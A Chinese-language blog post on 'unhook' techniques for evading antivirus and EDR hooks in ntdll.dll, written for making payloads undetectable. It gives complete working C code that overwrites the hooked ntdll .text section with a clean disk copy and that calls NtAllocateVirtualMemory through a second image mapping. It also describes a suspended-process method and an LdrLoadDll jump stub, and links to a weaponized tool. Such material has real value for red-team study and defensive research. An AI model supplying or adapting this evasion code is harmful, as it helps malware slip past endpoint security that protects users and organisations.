几种unhook手法的学习

文章首发阿里云先知社区:https://xz.aliyun.com/t/14310

了解过免杀的都知道,杀软会对敏感 api 进行 hook 操作,而我们通常有两种方式进行解决,syscall 和 unhook,而我们在 syscall 的时候有时候会导致堆栈不完整,在杀软看来是一些异常的行为,比如下图可以看到 RIP 指针直接已经在 Program 里面了,
image.png
(正常的情况如下图所示:
image.png

而我们在 unhook 时就完全不需要这种考虑,因为我们用的是一段新的 ntdll 或者其他 dll 的内存,调用的发出在杀软看起来是合理的,接下来我们一起来学习一下。

从磁盘重载 ntdll

原理图如下:
image.png
可以看出来,其实就是从磁盘上 clean 的 ntdll 的.text 端覆盖内存中被 hook 的ntdll 的.text 端。
我们 unhook 的流程如下,如果对 pe 文件结构有了解的话会看的比较轻松。

  1. 将 ntdll.dll 的新副本从磁盘映射到进程内存
  2. 查找被 hook 的 ntdll.dll的 .text 部分的虚拟地址
    1. 获取ntdll.dll基址
    2. 模块基址 + 模块的 .text 段 VirtualAddress
  3. 查找新映射ntdll.dll的 .text 段的虚拟地址
  4. 获取被 hook 的 ntdll .text 段的内存写的权限
  5. 将新映射的ntdll.dll的 .text 段覆盖到被 hook 的 ntdll 的 .text 部分
  6. 还原之前被 hook 的 ntdll .text 段的内存被原本的内存权限

下面是一个简单的 demo:

#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>

int main()
{
    HANDLE process = GetCurrentProcess();
    MODULEINFO mi = {};
    HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

    GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
    HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0;
            bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
            memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
            isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        }
    }

    CloseHandle(process);
    CloseHandle(ntdllFile);
    CloseHandle(ntdllMapping);
    FreeLibrary(ntdllModule);

    return 0;
}

这种方式是最简单的并且理论上可以对所有的 dll 进行 hook,但是缺点是需要读取磁盘上的 dll,而如果杀软对读取系统 dll 的行为进行了监控,那么我们这种方式其实是不好使的。

PE 文件映射绕过 hook

这个思路是在https://idiotc4t.com/defense-evasion/load-ntdll-too 学到的,当我们通过CreateFileMapping,MapViewOfFile 等 api 进行文件映射时,果被打开文件是 PE格式,那么这个文件会按照内存展开,那么我们猜想是不是这个被第二次载入内存的ntdll是不是就是一个干净的ntdll,能不能帮助我们绕过一些 hook。
demo 如下:

#include <Windows.h>
#include <stdio.h>

#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID* BaseAddress,
	ULONG_PTR ZeroBits,
	PSIZE_T RegionSize,
	ULONG AllocationType,
	ULONG Protect);

FARPROC WINAPI GetProcAddressR(HANDLE hModule, LPCSTR lpProcName)
{
	UINT_PTR uiLibraryAddress = 0;
	FARPROC fpResult = NULL;

	if (hModule == NULL)
		return NULL;
	uiLibraryAddress = (UINT_PTR)hModule;

	__try
	{
		UINT_PTR uiAddressArray = 0;
		UINT_PTR uiNameArray = 0;
		UINT_PTR uiNameOrdinals = 0;
		PIMAGE_NT_HEADERS pNtHeaders = NULL;
		PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
		PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
		pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
		pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
		pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress);
		uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions);
		uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames);
		uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals);
		if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000)
		{
			uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD));
			fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
		}
		else
		{
			DWORD dwCounter = pExportDirectory->NumberOfNames;
			while (dwCounter--)
			{
				char* cpExportedFunctionName = (char*)(uiLibraryAddress + DEREF_32(uiNameArray));
				if (strcmp(cpExportedFunctionName, lpProcName) == 0)
				{
					uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
					fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));

					break;
				}
				uiNameArray += sizeof(DWORD);
				uiNameOrdinals += sizeof(WORD);
			}
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER)
	{
		fpResult = NULL;
	}

	return fpResult;
}


int main() {

	HANDLE hNtdllfile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE hNtdllMapping = CreateFileMapping(hNtdllfile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID lpNtdllmaping = MapViewOfFile(hNtdllMapping, FILE_MAP_READ, 0, 0, 0);

	pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddressR((HMODULE)lpNtdllmaping, "NtAllocateVirtualMemory");

	int err = GetLastError();

	LPVOID Address = NULL;
	SIZE_T uSize = 0x1000;

	NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &uSize, MEM_COMMIT, PAGE_READWRITE);
	
	

	return 0;
};

这种方式需要使用CreateFileMapping,MapViewOfFile 等 api 进行文件映射,此类 api 也会被杀软关注,并且我们无法保证打开哪些文件才可以获得干净的 ntdll,因此感觉这个方式的实战价值不算很高。

通过创建挂起的进程来获得干净的 ntdll

前置条件

我们都知道,每个进程的内存里都会加载各种各样的 dll,每个程序不同,其加载的 dll 也都不同,但是每个进程都应该加载Kernel32.dll、Kernelbase.dll 和 Ntdll.dll 等,因为这些 DLL 包含进程与操作系统交互所需的低级指令和 API 调用。而我们发现,在同一个系统上的两个进程在相同基地址处加载了相同的系统 DLL。
image.png
并且系统 dll 的每个模块也被加载到了相同的地址
image.png

原理

我们来看一下当我们程序在加载的时候,edr 的 dll 和系统 dll 被一起加载进来
image.png
此时,我们的进程是挂起的,我们去看一些 Nt 函数时,会发现他们还没有被 hook
image.png
而当我们恢复挂起的进程之后,可以发现 Nt 函数此时被 hook 了
image.png
此时我们可以确定两件事情:

  • 新挂起进程的内存是干净的,没有被 hook 的
  • 所有的系统 dll 在被加载时的内存空间都是一样的

所以我们接下来要做的事情就是想办法从干净的内存读取 ntdll 并且覆盖到当前进程被 hook 的内存空间。
我们可以用 ReadProcessMemory 这个 api 来读取其他进程的内存,我们先提前计算好 ntdll 在内存空间中的位置,然后直接去读取就可以了,demo 代码可以看 https://github.com/dosxuz/PerunsFart,并且 github 有一个应用此技术武器化的工具:https://github.com/optiv/Freeze

通过自定义的跳转函数进行 unhook

我们都知道加载 dll 的函数是 LoadLibrary,这个函数在 kernel32.dll 里面,然而这个函数在 ntdll 里面对应的函数时 LdrLoadDLL,而我们这个方法的主角就是 LdrLoadDLL。
在 x64 平台下,我们去查看这个函数的汇编指令
image.png
而我们就可以自实现一个函数,汇编如下:
其中第一条指令时 LdrLoadDLL 的第一条指令,我们自己实现,防止此条指令被 hook,变成 jmp 指令。
address 就是内存中 LdrLoadDLL 第二条指令的位置,在 x64 下就是 address(LdrLoadDLL)+5

  mov qword ptr[rsp + 10h]  //原始的LdrLoadDll中汇编,使用我们自己的防止被hook
	mov r11,address		//address(LdrLoadDLL)+5
	jmp rll
	ret

这里附上一张我在 vs 调试时的反汇编,我们只需要将这些字节起来放到一起就可以了。
image.png
首先先完成了LdrLoadDLL 的第一条指令,然后将address(LdrLoadDLL)+5 放到 r11 寄存器中,然后我们直接 jmp r11 就可以了,因为 r11 里面的地址就是LdrLoadDLL 第二条指令的地址,我们这样做也是避免了LdrLoadDLL 被 hook,第一条指令变成 jmp edr.address。
并且我们这样做所有的函数发出都是从 ntdll 里面发出的,如图:
image.png
这样我们就自己实现了一个跳转函数,demo 代码可以参考
https://github.com/trickster0/LdrLoadDll-Unhooking,原作者只提供了 x64 下的代码,我自己稍微改了一下兼容 x64 和 x86 ,地址:https://github.com/fdx-xdf/LdrLoadDll-Unhooking-x86-x64/
详细的分析过程可以参考:https://killer.wtf/2022/01/19/CustomJmpUnhook.html

参考文章:

https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
https://idiotc4t.com/defense-evasion/load-ntdll-too
https://www.optiv.com/insights/source-zero/blog/sacrificing-suspended-processes
https://dosxuz.gitlab.io/post/perunsfart/
https://killer.wtf/2022/01/19/CustomJmpUnhook.html

posted @ 2024-04-29 15:54  fdx_xdf  阅读(170)  评论(0编辑  收藏  举报